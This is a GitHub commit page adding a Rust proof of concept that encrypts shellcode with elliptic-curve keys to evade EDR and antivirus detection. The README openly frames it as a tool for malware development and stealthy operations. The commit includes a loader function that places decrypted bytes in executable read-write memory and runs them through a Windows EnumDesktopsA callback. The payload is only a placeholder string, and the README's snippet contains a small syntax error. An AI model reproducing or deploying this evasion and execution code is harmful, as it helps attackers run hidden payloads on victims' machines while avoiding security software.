Skip to content

Commit 5ed25e6

Browse files
committed
(ECC) Shellcode Encryption and Decryption
This POC demonstrates the encryption of shellcode using a public key and its subsequent decryption using the corresponding private key and R_Point. making EDR/AV harder to detect.
1 parent 6917e7f commit 5ed25e6

File tree

8 files changed

+545
-0
lines changed

8 files changed

+545
-0
lines changed
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
[package]
2+
name = "ecc_shellcode_exec"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
k256 = {version = "0.13.4", features = ["ecdh"]}
8+
rand = "0.8.5"
9+
sha2 = "0.10.8"
10+
winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
## Elliptic Curve Cryptography (ECC) Encryption and decryption.
2+
3+
## Introduction
4+
5+
![ECC Edit](https://github.com/nakov/Practical-Cryptography-for-Developers-Book/blob/master/.gitbook/assets/ecc-visualization-tool.png?raw=true)
6+
7+
Elliptic Curve Cryptography (ECC), which is typically used for secure communications due to its efficiency and high security with smaller keys.
8+
9+
Jump to the code => [JMP](./src/main.rs)
10+
11+
## Process of Implementation
12+
13+
I implemented ECC in a way that could be useful for malware development by encrypting shellcode with a public key and then decrypting it using both the corresponding private key and an additional component called the R Point. This approach adds an extra layer of security, ensuring that only those with the correct private key and R Point can decrypt and execute the shellcode.
14+
15+
> Note: Please go through the main function where i explained function features.
16+
17+
I generate random public and private keys then,
18+
19+
I have converted Keys into bytes for ease of handling, then reconstruct these keys for use in encryption and decryption. The encryption process involves using the public key to encrypt the shellcode and generate an R Point, which is serialized into bytes. To decrypt, you need this R Point along with the private key, which together allow the shellcode to be recovered and executed. However, my method of executing the shellcode is basic and could potentially be detected by security software, so more sophisticated execution methods would be necessary for real-world scenarios.
20+
21+
This Proof of Concept shows how ECC can be adapted for stealthy malware operations by leveraging its inherent security properties.
22+
23+
24+
## Small Snippet to encrypt and decrypt Messages
25+
26+
Write the Encrypt and decrypt function
27+
28+
```
29+
// #![allow(deprecated)]
30+
pub use k256::{elliptic_curve::{sec1::FromEncodedPoint, AffinePoint, Field}, EncodedPoint, ProjectivePoint, Scalar, Secp256k1};
31+
pub use sha2::{Digest, Sha256};
32+
pub use rand::rngs::OsRng;
33+
pub use k256::elliptic_curve::group::GroupEncoding;
34+
pub use k256::ecdsa::VerifyingKey;
35+
36+
fn encode_shellcode(
37+
shellcode: &[u8],
38+
public_key: &AffinePoint<Secp256k1>,
39+
) -> (EncodedPoint, Vec<u8>) {
40+
let mut rng = OsRng;
41+
42+
// generate the ephemeral keypair
43+
let k = Scalar::random(&mut rng);
44+
let r = (ProjectivePoint::generator() * k).to_affine();
45+
46+
// compute shared secret
47+
let shared_secret = *public_key * k;
48+
let shared_secret_bytes = shared_secret.to_bytes();
49+
50+
// derive encryption key from shared secret
51+
let mut hasher = Sha256::new();
52+
hasher.update(shared_secret_bytes);
53+
let encryption_key = hasher.finalize();
54+
55+
// Encrypt shellcode
56+
let encrypted_shellcode: Vec<u8> = shellcode
57+
.iter()
58+
.zip(encryption_key.iter().cycle())
59+
.map(|(&byte, &key)| byte ^ key)
60+
.collect();
61+
62+
(EncodedPoint::from(&r), encrypted_shellcode)
63+
}
64+
65+
fn decode_shellcode(
66+
encrypted_shellcode: &[u8],
67+
r: &EncodedPoint,
68+
private_key: &Scalar,
69+
) -> Vec<u8> {
70+
// Compute shared secret
71+
let r_point = ProjectivePoint::from_encoded_point(r).expect("Invalid R point");
72+
let shared_secret = r_point * private_key;
73+
let shared_secret_bytes = shared_secret.to_bytes();
74+
75+
// derive decryption key from shared secret
76+
let mut hasher = Sha256::new();
77+
hasher.update(shared_secret_bytes);
78+
let decryption_key = hasher.finalize();
79+
80+
// Decrypt shellcode
81+
encrypted_shellcode
82+
.iter()
83+
.zip(decryption_key.iter().cycle())
84+
.map(|(&byte, &key)| byte ^ key)
85+
.collect()
86+
}
87+
```
88+
89+
Write the main function for operation
90+
91+
```
92+
93+
fn main() {
94+
// Example string => lets name it as shellcode ie (placeholder)
95+
let shellcode: &[u8] = b;"Hello, World!"
96+
97+
// Generate ECC key pair
98+
let private_key = Scalar::random(&mut OsRng);
99+
let public_key = (ProjectivePoint::generator() * private_key).to_affine();
100+
101+
println!("Private Key: {:?}", private_key);
102+
println!("Public Key: {:?}", public_key);
103+
104+
// Convert AffinePoint to VerifyingKey (or PublicKey)
105+
VerifyingKey::from_encoded_point(&EncodedPoint::from(public_key))
106+
.expect("Invalid public key");
107+
108+
let (r, encrypted_shellcode) = encode_shellcode(shellcode, &public_key);
109+
110+
println!("Encrypted Shellcode: {:?}", encrypted_shellcode);
111+
112+
// Decode the shellcode
113+
let decrypted_shellcode = decode_shellcode(&encrypted_shellcode, &r, &private_key);
114+
115+
println!(
116+
"Decrypted Shellcode: {:?}",
117+
String::from_utf8(decrypted_shellcode).unwrap()
118+
);
119+
}
120+
```
121+
122+
## Resource Used
123+
124+
* https://github.com/nakov/practical-cryptography-for-developers-book/blob/master/asymmetric-key-ciphers/elliptic-curve-cryptography-ecc.md
125+
* https://github.com/nakov/Practical-Cryptography-for-Developers-Book/blob/master/asymmetric-key-ciphers/ecc-encryption-decryption.md
126+
## Authors
127+
128+
By [Smukx.E](https://x.com/5mukx)
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
/*
2+
This program is a research of implementing encrypting and decrypting messages using Elliptic Curve Cryptography (ECC) using Rust.
3+
Author: Smukx.E [@5mukx]
4+
*/
5+
6+
// #![allow(deprecated)]
7+
pub use k256::{elliptic_curve::{sec1::FromEncodedPoint, AffinePoint, Field}, EncodedPoint, ProjectivePoint, Scalar, Secp256k1};
8+
pub use sha2::{Digest, Sha256};
9+
pub use rand::rngs::OsRng;
10+
pub use k256::elliptic_curve::group::GroupEncoding;
11+
pub use k256::ecdsa::VerifyingKey;
12+
13+
fn encode_shellcode(
14+
shellcode: &[u8],
15+
public_key: &AffinePoint<Secp256k1>,
16+
) -> (EncodedPoint, Vec<u8>) {
17+
let mut rng = OsRng;
18+
19+
// generate the ephemeral keypair
20+
let k = Scalar::random(&mut rng);
21+
let r = (ProjectivePoint::generator() * k).to_affine();
22+
23+
// compute shared secret
24+
let shared_secret = *public_key * k;
25+
let shared_secret_bytes = shared_secret.to_bytes();
26+
27+
// derive encryption key from shared secret
28+
let mut hasher = Sha256::new();
29+
hasher.update(shared_secret_bytes);
30+
let encryption_key = hasher.finalize();
31+
32+
// Encrypt shellcode
33+
let encrypted_shellcode: Vec<u8> = shellcode
34+
.iter()
35+
.zip(encryption_key.iter().cycle())
36+
.map(|(&byte, &key)| byte ^ key)
37+
.collect();
38+
39+
(EncodedPoint::from(&r), encrypted_shellcode)
40+
}
41+
42+
fn decode_shellcode(
43+
encrypted_shellcode: &[u8],
44+
r: &EncodedPoint,
45+
private_key: &Scalar,
46+
) -> Vec<u8> {
47+
// Compute shared secret
48+
let r_point = ProjectivePoint::from_encoded_point(r).expect("Invalid R point");
49+
let shared_secret = r_point * private_key;
50+
let shared_secret_bytes = shared_secret.to_bytes();
51+
52+
// derive decryption key from shared secret
53+
let mut hasher = Sha256::new();
54+
hasher.update(shared_secret_bytes);
55+
let decryption_key = hasher.finalize();
56+
57+
// Decrypt shellcode
58+
encrypted_shellcode
59+
.iter()
60+
.zip(decryption_key.iter().cycle())
61+
.map(|(&byte, &key)| byte ^ key)
62+
.collect()
63+
}
64+
65+
fn main() {
66+
// Example shellcode (placeholder)
67+
let shellcode: &[u8] = b"Hello, World!";
68+
69+
// Generate ECC key pair
70+
let private_key = Scalar::random(&mut OsRng);
71+
let public_key = (ProjectivePoint::generator() * private_key).to_affine();
72+
73+
println!("Private Key: {:?}", private_key);
74+
println!("Public Key: {:?}", public_key);
75+
76+
// Convert AffinePoint to VerifyingKey (or PublicKey)
77+
VerifyingKey::from_encoded_point(&EncodedPoint::from(public_key))
78+
.expect("Invalid public key");
79+
80+
let (r, encrypted_shellcode) = encode_shellcode(shellcode, &public_key);
81+
82+
println!("Encrypted Shellcode: {:?}", encrypted_shellcode);
83+
84+
// Decode the shellcode
85+
let decrypted_shellcode = decode_shellcode(&encrypted_shellcode, &r, &private_key);
86+
87+
println!(
88+
"Decrypted Shellcode: {:?}",
89+
String::from_utf8(decrypted_shellcode).unwrap()
90+
);
91+
}
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
use k256::{elliptic_curve::sec1::FromEncodedPoint, EncodedPoint, ProjectivePoint, Scalar};
2+
use k256::elliptic_curve::group::GroupEncoding;
3+
use sha2::Digest;
4+
5+
6+
/*
7+
8+
let r_point_bytes = r_point.as_bytes();
9+
10+
// let encode_r_point = EncodedPoint::<Secp256k1>::from_bytes(r_point_bytes)
11+
// .expect("Invalid EncodedPoint");
12+
*/
13+
14+
15+
pub fn decode_shellcode(
16+
encrypted_shellcode: &[u8],
17+
// r: &EncodedPoint,
18+
r_point_bytes: &[u8],
19+
private_key: &Scalar,
20+
) -> Vec<u8> {
21+
22+
// rebuild the r_point from bytes !
23+
24+
let r = EncodedPoint::from_bytes(r_point_bytes)
25+
.expect("Invalid EncodedPoint");
26+
27+
// compute the shared secret key
28+
let r_point = ProjectivePoint::from_encoded_point(&r).expect("Invalid R point");
29+
let shared_secret = r_point * private_key;
30+
let shared_secret_bytes = shared_secret.to_bytes();
31+
32+
// derive the decryption key from shared secret
33+
let mut hasher = sha2::Sha256::new();
34+
hasher.update(shared_secret_bytes);
35+
let decryption_key = hasher.finalize();
36+
37+
// decrypt shellcode
38+
encrypted_shellcode
39+
.iter()
40+
.zip(decryption_key.iter().cycle())
41+
.map(|(&byte, &key)| byte ^ key)
42+
.collect()
43+
}
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
use k256::{
2+
elliptic_curve::{AffinePoint, Field},
3+
EncodedPoint, ProjectivePoint, Scalar, Secp256k1,
4+
};
5+
6+
use k256::elliptic_curve::group::GroupEncoding;
7+
use sha2::{Digest, Sha256};
8+
9+
fn encode_shellcode(
10+
shellcode: &[u8],
11+
public_key: &AffinePoint<Secp256k1>,
12+
) -> (EncodedPoint, Vec<u8>) {
13+
let mut rng = rand::rngs::OsRng;
14+
15+
let k = Scalar::random(&mut rng);
16+
let r = (ProjectivePoint::generator() * k).to_affine();
17+
18+
let shared_secret = *public_key * k;
19+
let shared_secret_bytes = shared_secret.to_bytes();
20+
21+
let mut hasher = Sha256::new();
22+
hasher.update(shared_secret_bytes);
23+
let encryption_key = hasher.finalize();
24+
25+
let encrypted_shellcode: Vec<u8> = shellcode
26+
.iter()
27+
.zip(encryption_key.iter().cycle())
28+
.map(|(&byte, &key)| byte ^ key)
29+
.collect();
30+
31+
(EncodedPoint::from(&r), encrypted_shellcode)
32+
}
33+
34+
pub fn encrypt_shellcode(shellcode: &[u8], public_key: &AffinePoint<Secp256k1>) -> (EncodedPoint, Vec<u8>){
35+
36+
let (r, encrypted_shellcode) = encode_shellcode(shellcode, &public_key);
37+
38+
println!("R Point: {:?}\n\n", r);
39+
println!("Encrypted Shellcode: {:?}\n", encrypted_shellcode);
40+
41+
(r, encrypted_shellcode)
42+
}
43+
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
use winapi::um::{handleapi::CloseHandle, memoryapi::VirtualAlloc, winnt::{RtlMoveMemory, MEM_COMMIT, PAGE_EXECUTE_READWRITE}, winuser::{EnumDesktopsA, GetProcessWindowStation}};
2+
3+
// THis is just an sample func to execute shellcode.. so vulnerable to EDR/AV...
4+
5+
pub fn shell_exec(shellcode: Vec<u8>){
6+
unsafe {
7+
let mem = VirtualAlloc(
8+
std::ptr::null_mut(),
9+
shellcode.len(),
10+
MEM_COMMIT,
11+
PAGE_EXECUTE_READWRITE,
12+
);
13+
14+
if !mem.is_null() {
15+
RtlMoveMemory(mem, shellcode.as_ptr() as *mut winapi::ctypes::c_void, shellcode.len());
16+
EnumDesktopsA(GetProcessWindowStation(), std::mem::transmute(mem), 0);
17+
CloseHandle(mem);
18+
}
19+
}
20+
}

0 commit comments

Comments
 (0)